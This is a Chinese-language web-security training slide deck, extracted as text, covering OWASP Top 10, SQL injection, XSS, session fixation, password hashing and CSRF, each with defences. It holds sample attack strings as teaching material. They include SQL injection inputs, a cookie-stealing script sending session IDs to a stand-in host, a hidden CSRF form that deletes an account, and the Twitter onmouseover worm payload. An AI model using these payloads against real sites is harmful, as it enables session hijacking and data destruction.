caterpillar@openhome.cc
https://openhome.cc
網站系統安全及資料保護設計認知
1
接下來…
• 網站系統安全及資料保護設計認知(一)
– 資料(訊)保護重要性
– 認識 OWASP TOP 10
– SQL 注入(SQL Injection)
– 跨網站指令碼(XSS)
– Session 管理與安全
2
• 網站系統安全及資料保護設計認知(二)
– 密碼管理
– 跨網站冒名請求(CSRF)
– 再看 XSS
– 更多資源
3
資料(訊)保護重要性
4
https://www.zhihu.com/question/59788971/answer/169187187 5
為何重要?
• 經濟上的損失
http://news.ltn.com.tw/news/life/paper/1104829
6
為何重要?
• 法律上的要求
http://news.ltn.com.tw/news/politics/paper/389561
7
• 重大負面影響
– 政策
– 商譽
– …
http://www.ithome.com.tw/tech/90726
8
為何重要?
• 無法彌補的傷害
http://www.cw.com.tw/article/article.action?id=5079112
9
被忽略的安全
• 軟體品質
• 軟體開發
• 專責部門
• 專責人員
• 專門工具
• 安全教育
10
認識 OWASP TOP 10
• CVE 資料庫
– 通用漏洞披露
– 始於 1999
– 收集特定軟體漏洞並編號 CVE-YYYY-NNNN
– OpenSSL 'Heartbleed' vulnerability (CVE-
2014-0160)
11
https://cve.mitre.org/
• CWE 弱點清單
– 通用軟體弱點
– 始於 2005
– What is the difference between a software
vulnerability and software weakness?
12
https://cwe.mitre.org/
Software weaknesses are errors that can lead to
software vulnerabilities.
OWASP
• 始於 2001
• 研議協助解決網路軟體安全之標準、工具
與技術文件
• OWASP TOP 10 為其中計畫之一
13
https://www.owasp.org/
OWASP TOP 10
• 2002 年發起,針對 Web 應用程式最重大、
嚴重的十大弱點進行排名
• 首次 OWASP Top 10 於 2003 發布
• 2004 做了更新,之後每三年改版一次
• 最新正式版本為 OWASP Top 10 2013
14
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
15
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%
2010%20-%202017%20RC1-English.pdf
OWASP ESAPI
• OWASP Enterprise Security API
16
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
• Injection 攻擊
– SQL Injection
– XML Injection
– LDAP Injection
– Code Injection
17
SQL 注入(SQL Injection)
18
19
名稱:
密碼:
caterpillar
123456
20
名稱:
密碼:
caterpillar
' OR '1'='1
21
Robert'); DROP TABLE STUDENTS; --
Derper
SQL Injection 危害
• 迴避認證
• 竊取資料
• 改寫資料庫內容
• 讀寫伺服器上的檔案、執行程式
• …
22
23
SQL Injection 防範
• 避免串接字串方式建立 SQL
24
Java
Python
• 留意串接字串的變體
25
Python
• Escape 特殊字元
– (ESAPI.encoder().encodeForSQL())
• 輸入驗證(伺服端)
– 黑名單(Black List)
– 白名單(White List)
26
SQL Injection 防範
跨網站指令碼(XSS)
27
• 變化形式
– Reflected XSS(First-order XSS)
– Stored/Persistent XSS(Second-order XSS)
– DOM-based/Local XSS
• 危害
– 會話劫奪(Session hijacking)
– 釣魚(Phishing)
– XSS 蠕蟲
– …
28
2010 Twitter
Session hijacking
• 某網站搜尋功能回送查詢字串
29
Could not find any documents including "foo"
Search foo
http://xss.demo/search?keyword=foo
30
<b>foo</b>Search
http://xss.demo/search?keyword=<b>foo</b>
Could not find any documents including "<b>foo</b>"
http://xss.demo/search?keyword=<b>foo</b>
31
<script
language='javascript'>document.write(document.cookie)</script>
Search
Could not find any documents including "<script
language='javascript'>document.write(document.cookie)</script>"
http://xss.demo/search?keyword=Could not find any documents including "<script …
SESSION ID
32
<script language='javascript'>document.write('<img
src="http://hacker.demo/collect?sid=' + document.cookie +
'">');</script>
http://xss.demo/search?keyword=
<script language='javascript'>
document.write('<img
src="http://hacker.demo/collect?sid='
+ document.cookie +
'">');
</script>
33
http://xss.demo/search?keyword=<script
language='javascript'>document.write('<img
src="http://hacker.demo/collect?sid=' +
document.cookie + '">');</script>
http://xss.demo/search?keyword=%3Cscript%20langua
ge%3D'javascript'%3Edocument.write('%3Cimg%20src
%3D%22http%3A%2F%2Fhacker.demo%2Fcollect%3Fsi
d%3D'%20%2B%20document.cookie%20%2B%20'%22
%3E')%3B%3C%2Fscript%3E
URL Encoding
34
<a href
="http://xss.demo/search?keyword=%3Cscript%20language%3D'j
avascript'%3Edocument.write('%3Cimg%20src%3D%22http%3A%
2F%2Fhacker.demo%2Fcollect%3Fsid%3D'%20%2B%20document.
cookie%20%2B%20‘%22%3E')%3B%3C%2Fscript%3E">美女走光
圖^o^</a>
http://site.demo/share
美女走光圖^o^
35
http://xss.demo/search?keyword=%3Cscript%20language%3D'javascript'%3Edocument.
晚來一步…圖被刪了…
Reflected XSS
36
xss.demo
hacker.demo
美女走光圖^o^
http://site.demo/share
1. 按下鏈結
2. 查詢
3. 傳回結果
4. 傳送 session id
現代瀏覽器的安全
37
XSS 基本防範
• 強化輸入驗證
– 黑名單
– 白名單
– (ESAPI.validator())
– (OWASP Java HTML Sanitizer)
• 對輸出進行編碼
– (ESAPI.encoder().encodeForURL())
– (OWASP Java Encoder Project)
38
Session ID?
• 被拿走了又如何?
• HTTP 會話基本原理
– 每個請求對伺服器來說都是新的訪客請求
– 每次請求時主動告知伺服器必要的資訊
39
使用隱藏欄位
40
也不一定要放在隱藏欄位裏
放在 JavaScript 裏也行
有人就是會放不該放的東西
41
42
使用Cookie
43
• 設定 Cookie
• 取得 Cookie
44
危險的範例
45
危險的範例
46
使用URL重寫
47
48
(Http)Session API
49
50
51
Session Fixation 攻擊
• 誘使受害者使用特定的 Session ID
– Session ID 透過 URL 參數指定時容易被利用
52
53
sidfix.demo
1. 取得 sid2. 放入鏈結
<a
href="http://sidfix.demo/login;sid=8
51BB160B811634B03EDD08B60BFD
98D">美女走光圖</a>
美女走光圖^o^
3. 點選鏈結
4. 喔?需要登入?沒問題!
5. Got it!
Session Fixation
Session 防範對策
• 不從 GET、POST 參數取得 Session Id?
– Cookie 是可以偽照的
• 使用 HTTPS
• 不將 Session ID 用於 URL
– Referer 可能洩漏 Session ID
• 不採用 Session ID 預設名稱
54
Session 防範對策
• 設定 Session 之逾時
• 登入後重新產生 Session ID
• 重要操作前進行二次驗證
• 正確設定 Cookie 的 Domain、Secure、
HttpOnly
• (啟用伺服端軟體的 Session Fixation 自
動化保護機制)
55
Session 錯亂?
• 來自數個真實的案例
56
// 這是一個 Servlet 內部
private String name;
private String passwd;
@Override
protected void doPost(
HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
name = request.getParameter("name");
passwd = request.getParameter("passwd");
if(login(name, passwd)) {
List data = query(name);
...
}
}
57
安全的前題
在於
熟悉採用的技術
密碼
58
這封信透露了哪些訊息?
59
這句話透露了哪些訊息?
http://www.setn.com/news.aspx?newsid=260280
60
它的密碼是明碼?
明碼怎麼了?
61
https://unwire.hk/2012/07/13/statistics-of-450-000-leaked-yahoo-accounts/news/
使用雜湊函式
• SHA-1、MD5
62
https://kknews.cc/zh-tw/tech/aaxnrv.html
63
彩虹表(Rainbow Tables)
• 雜湊值與明文之比對
64
Secured Salted
• 在密碼雜湊時加入鹽值(亂數)
– UUID 或其他夠長且唯一的亂數
– 每個使用者產生不同的鹽值
• 分別儲存鹽值與雜湊值
• (驗證時取得使用者輸入之密碼與儲存之
鹽值進行雜湊,然後與儲存之雜湊值比對)
65
66
這句話透露了哪些訊息?
http://www.setn.com/news.aspx?newsid=260280
暴力法
67https://www.teamsid.com/worst-passwords-of-2014/
68
預設密碼?
69
http://www.ithome.com.tw/news/111843
密碼強度
70
• 傻瓜密碼 Out
• 規則越少越好
• 字元與數字夾雜
• 長度越長越好
社交工程
71
https://tw.voicetube.com/videos/20607
HTTPS
72http://www.ithome.com.tw/news/115148
73
跨網站冒名請求(CSRF)
• Cross-site Request Forgery
• 使用者通過驗證且 Session 未過期
• 授權、存取控制設計不良
• 在使用者不知情下進行特定行為
– 修改密碼、轉帳、自動發文、加好友…
74
1. 登入網站
2. 刪除專案
http://webapp.com/project/1/destroy
75
1. 寄送郵件
<img
src="http://webapp.com/
project/1/destroy">
2. 登入後發現有郵件通知
3. 觀看郵件,專案 Bye!
GET 的錯?
• GET 應用於等冪(Idempotent)操作
– 多次 GET 的結果應相同
– 不改變執行結果,通常不會改變伺服器狀態
• 使用 GET 確實降低了 CSRF 的難度
• 不過也可以透過 POST 來發動類似的請求
76
77
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://webapp.com/account/destroy';
f.submit();
return false;">好康在這裡</a>
<img src="http://www.harmless.com/img" width="400"
height="400" onmouseover="..." />
滑鼠略過圖也可以 …
利用一些 JavaScript 寫些 Ajax 請求,都有可能…
CSRF 防範
• 重新認識 HTTP 請求方法
– https://openhome.cc/Gossip/Programmer/
HttpMethod.html
• 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
• 不依賴 Session Id 作為身份驗證
• 重要行為前要求重新認證與授權
78
79
Django
80
CSRF 防範
• 重新認識 HTTP 請求方法
– https://openhome.cc/Gossip/Programmer/
HttpMethod.html
• 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
• 不依賴 Session Id 作為身份驗證
• 重要行為前要求重新認證與授權
81
再看 XSS
• Reflected XSS
• Stored/Persistent XSS
• DOM-based/Local XSS
82
Samy
• 2005 年 Samy 跟女友打賭他在 MySpace
上有很多粉絲,將他設成英雄(Hero)。
• Samy 寫了一隻 Stored/XSS 蠕蟲,因為散
播太快而導致 MySpace 當機
• Samy 當時被美國秘密警察逮捕,判三年緩
刑與 90 天的社區服務。
83
84
http://www.ithome.com.tw/node/63493
85
攻擊用的 JavaScript 會儲存在資料庫
• 推文
• HTML
86
http://www.guardian.co.uk/technology is the best!
<a href="http://www.guardian.co.uk/technology"
class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is
the best!
• 推文
• <a> 變成
87
<a
href="http://a.no/@";onmouseover=";$('textarea:first').val
(this.innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/ class="tweet-url
web" rel="nofollow">
http://a.no/@";onmouseover=";$('textarea:first').val(this.
innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/
DOM-based XSS
• 直接利用客戶端 JavaScript
• (伺服端未參與其中的流程)
88
<html>
<title>Welcome!</title>Hi
<script>
var pos = document.URL.indexOf("name=") + 5;
document.write(
document.URL.substring(pos,document.URL.length)
);
</script>
<br>Welcome to our system…
</html>
89
http://xss.demo/welcome?name=Justin
你想要的…
90
http://xss.demo/welcome?name=<script>alert('XD');</script>
他想要的…
改寫畫面
91
http://xss.demo/welcome?name=<script>document.getElementsByTagName("html")[
<script>document.getElementsByTagName("html")[0].innerHTML="Name: <input
type='text'/><br>Password: <input type='password'>";</script>
92
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
其他(資源)
• Understanding the OWASP Top 10
Vulnerabilities
• The OWASP Top Ten and ESAPI
• Cookie & Session & CSRF
• [Nodejs] Security: Broken
Authentication
• Ruby on Rails Security Guide
• 駭客手法解析~你不能不知的資安問題!!
93
94
在漏洞被發現之後…
95
在漏洞發生之前…
• 軟體品質
• 開發流程
• 專責部門
• 專責人員
• 專門工具
• 安全教育
96
Justin Lin
caterpillar@openhome.cc
https://openhome.cc
Thanks
97

網站系統安全及資料保護設計認知